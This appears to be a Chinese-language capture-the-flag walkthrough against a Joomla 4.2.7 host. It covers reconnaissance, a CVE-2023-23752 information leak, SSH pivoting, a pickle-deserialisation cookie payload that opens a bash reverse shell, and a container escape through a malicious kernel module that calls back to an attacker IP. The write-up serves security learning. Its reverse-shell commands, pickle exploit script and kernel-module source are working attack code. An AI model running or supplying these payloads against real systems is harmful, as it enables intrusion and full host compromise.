端口扫描
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Home
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
MAC Address: 16:FF:D7:E1:89:ED (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以知道运行的joomla
访问http://目标IP/administrator/manifests/files/joomla.xml可以发现使用的版本为4.2.7
然后我们可以尝试搜索该漏洞
访问登录容器root
通过CVE-2023-23752,我们可以直接访问到一些信息
/api/index.php/v1/config/application?public=true
我们发现了一个数据库的账号和密码

然后我们直接ssh 2222端口,我们可以发现这是一个容器
我们可以连接到容器上
ssh -p 2222 [email protected]
探查网络
执行ls /usr/bin/
我们发现此容器安装了nmap
可以发现另一个容器ip,可以发现5000端口
$ ssh [email protected] -p 2222 -L 5000:192.168.100.12:5000

访问发现设置了cookie值,经过分析发现这是一个序列化后的结果
import pickle
import osclass Malicious:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.4.8.68/4444 0>&1'",))malicious_pickle = pickle.dumps(Malicious())
print("Malicious pickle in hex:", malicious_pickle.hex())
使用上面的脚本可以生成序列化后的值
经过
curl http://127.0.0.1:5000/ -H "Cookie: session_data=80049551000000000000008c05706f736978948c0673797374656d9493948c362f62696e2f62617368202d63202762617368202d69203e26202f6465762f7463702f31302e342e382e36382f3434343420303e26312794859452942e"
成功反连
发现user.txt
登录上去之后使用
capsh --print
发现用户存在cap_sys_module

容器逃逸
我们可以通过加载内核模块的方式,将宿主机反连到我们的设备
因为我们是具备cap_sys_module,我们可以自己制作一个反连模块
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
static int shell(void){
char *argv[] ={"/bin/bash", "-c", "bash -i >& /dev/tcp/10.4.8.68/4445 0>&1", NULL};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int init_mod(void){
return shell();
}
static void exit_mod(void){
return;
}
module_init(init_mod);
module_exit(exit_mod);
接着再制作一个makefile的编译文件
obj-m +=shell.o all: make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules clean: make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
使用curl http://10.4.8.68:8080/shell.o>shell.o(将文件下载到本地)
Makefile也是一样

然后我们可以执行该模块
insmod shell.ko
最终成功反连到了宿主机
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



